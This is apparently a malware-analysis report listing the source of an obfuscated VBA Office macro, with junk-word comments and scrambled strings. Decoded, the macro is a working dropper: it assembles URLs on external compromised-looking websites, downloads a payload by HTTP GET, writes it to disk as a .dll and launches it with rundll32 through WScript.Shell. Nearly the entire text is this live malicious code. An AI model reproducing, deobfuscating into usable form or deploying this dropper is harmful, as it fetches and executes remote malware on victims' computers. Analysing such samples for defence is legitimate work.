'hesitatingwabainscounterreacti vinciblenessmyosisscanter grouselike countertop ducksstummbathorsesuperintelle dogiehumanizer
'acroparesthesiachalcogenides relace gricer psalming magneto cadgiestpiki
'nonrailroadneurocoelacetosefor contaminators bumptiously atte poorwill choof cam
End Function
Function breyseolipilesg(legislatorships)
'dures heliodors hadjees censur hypocoristical sacque invaginatedoutpolling outwaiting surgeonships fungoid arointed
'programers circularising pensionnat euchology prelocate assemblance cardiomyopathies p philoxenialea personalizations unwontedness
bleachedgrubber = Replace("https://ahdmsport.vaa5Cxcom/bootvaa5Cxstrap/scrvaa5Cxipts/vaa5Cx_notes/Xwi4K0BrmwX6hf.php", "vaa5Cx", "")
breyseolipilesg = Join(Array(bleachedgrubber))
'hurls enlumine comstockers poikilotherm spiritualizingdissolvessanctua tropicbirdshierographoutdrovec
'malteds dysfunctional shorteni labeledhuzzaingreconsidersemph immaterialismmosaickedbuilding unplucked paragraphia luciferinssuperminiprincipalne
End Function
Function litigablesuperf(deplorersfoveat)
'disboweled outfielders syncretizationsbacterias fungosityshidduchjoiners
foreseedauntles = Replace("Wscript.SCQ(GSCQ(GShell", "CQ(GS", "")
litigablesuperf = foreseedauntles
'mawrreplanrutinultrarealistic rhizomicstoicheiologies microwaveablelecheredrecessive
End Function
Function compatiblerecog(disgustswitched)
'corniculum lassos glycolipid lightened muchly matricidesforthackeewagged pastourelles rantipole nephrectomiesmetamorphisms
'destabilizinggeraniumbollsinte veratrine unimplemented indecentest corruptions tetrad syphilitic television blueprin
'kaiaking gasifying quarantines recapturersacahuistesredacts initialedtouracoacculturatingg refrigeration oratorio
plonkodelicaten = Replace("rundllOV*=\R3OV*=\R2.OV*=\Rexe ", "OV*=\R", "")
compatiblerecog = Join(Array(plonkodelicaten))
'pleinairisms spumonis muskets miscolors poloniums engrail cwms hexagrammoids enc toadyismsbermes
'sideling rotiferans puparial stamping industrially contraltossorbuses manga lambadas incombustibilit
End Function

Attribute VB_Name = "jasminescrosscl"
Function rifleriessupern(thwartwisehitch)
For Each wizzessectional In Array(hyperexcitedkit.sayyidanemogram(interparochials), hyperexcitedkit.majlistrioleins(lozellonomastic), hyperexcitedkit.latigotrankumsa(timeoutbriskens), phytophagicbirl.pseudotuberculo(emarginationsex), sheenscrampoonb.burghalreductas(autogenouslyove), hyperexcitedkit.marinadescrypto(jeererstrockede), phytophagicbirl.epimorphosesant(chiconcostliest), jazeranttechnic.superdominantge(unruffablehydro), sheenscrampoonb.breyseolipilesg(smickercozeysad), rescindermortbe.becursessegrega(wembbibliolatri))
On Error Resume Next
With furmitypustule.cruzadosqueegee(holoenzymesgall.catapultingover(vicereinepreach))
.Open rescindermortbe.empiresparabend(marrowbonesscar), wizzessectional, False
.Send
If .Status = CLng(-1.15606936416185 * (-1046 - -873#)) And Len(.responseBody) > CLng(AscW("Z")) Then
Set intersexualisms = furmitypustule.cruzadosqueegee(hyperexcitedkit.furlesshamunrou(plowteredsymmet))
intersexualisms.Open
intersexualisms.Type = CLng(768 - 767)
intersexualisms.Write .responseBody
intersexualisms.SaveToFile beinnessesstott.fattismavodirep() & rescindermortbe.scoochedentitle(sistrumssprawli), CLng(2 And 2)
intersexualisms.Close
Exit For
End If
End With
Next wizzessectional
With furmitypustule.cruzadosqueegee(sheenscrampoonb.litigablesuperf(staturedinterbr))
.Run spasticitystrau.flittedflatscre(nonconforminghe)
End With
End Function

Attribute VB_Name = "rescindermortbe"
Function becursessegrega(dejectadaredevi)
'subspecialtymediansreckoncyber baker headstrong sponsorships  onomatopoeias slashed nominate timbermanmanoaoinfer unhewnsingularitieshorsinessps
recantsataisara = Replace("https://fitzgeraldstreet.com/ap-photos/\E5/7h@\E5/7h@themes/mod\E5/7h@us/css/fontello/1j5yZLSi4VE.php", "\E5/7h@", "")
becursessegrega = Join(Array(recantsataisara))
'desipramine reck ayahuasco timberyards splanchnology forg magnesicremandmentagendum orrisrootsaffordabilitiespyram chas malibu outnumbered cognit
End Function
Function empiresparabend(nonmathematicia)
'subcolleges mirlitons herein p stateliestwaistbeltunderdevelo couragesmonetises
gurglecoloniali = Mid("xnLC9UaJGET%t|<d9p+", CLng(11 Xor 2), CLng(3.79746835443038E-03 * 790))
empiresparabend = Join(Array(gurglecoloniali))
'wintertimephylarchiesincommens hoovering staphyline obscuresylloge obtainment affrontings dominic swaggies narcotisations amiabl
'retroviruses stretched sandalwoodsreexposesnidates overcommunications squattier phoneticizes adhesional libras
End Function
Function lightheadedhara(pasturelandsfor)
'vases carageenan ectoblasts ti victimizedcassareepsfrangipane cheerfulnesses stemples colostral jacobins sulphurousl
hypocorismaklee = Mid("P/d-8m>wllxQ%v,StartW2<bbldC7sHx", CLng(Not -16), CLng(-9.58904109589041E-02 * -73))
lightheadedhara = Join(Array(hypocorismaklee))
'windgall seysure carnahuba lea subordinative torticollar stal cowlstavescorinthianizes tenuriallyoesophagoscopy
'stewardships hallmarks sixtiethmarcescentembraidedski troublous gonorrheal diaconate dispropriatingpycnosespactumfl vulgars chicnesses divulsive m
End Function
Function scoochedentitle(emplumepredrill)
'subcontinentsvelveteddragonroo imperfectible alcalde pipefitt overpastluckiesunclassedmodern
'camphorstereoscopistsvariomete gleyings staminal intensifier leadennesses phellogens chalazaegularpiercingly slabbery scandalisations misas
revisionscomedo = Mid("CdYVw=BV/d0wocI4\17117.dll2-q-Okg", CLng((371 - 354#) And 21), CLng(849 + (-452 - 387#)))
scoochedentitle = Join(Array(revisionscomedo))
'dopaminergic arabicizations ba hypopituitarism procures winda fullednounalpopsieshalakhoth hyperreactivities substantiviz scubas tenaculums contemporizi
End Function

Attribute VB_Name = "spasticitystrau"
Function flittedflatscre(narcosessubprog)
flittedflatscre = sheenscrampoonb.compatiblerecog(breyingbellicos) & Chr(CLng(34 And 43)) & beinnessesstott.fattismavodirep() & rescindermortbe.scoochedentitle(sistrumssprawli) & Chr(CLng(34 Or 0)) & rescindermortbe.lightheadedhara(nedsnonstickrai)
Debug.Print flittedflatscre
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.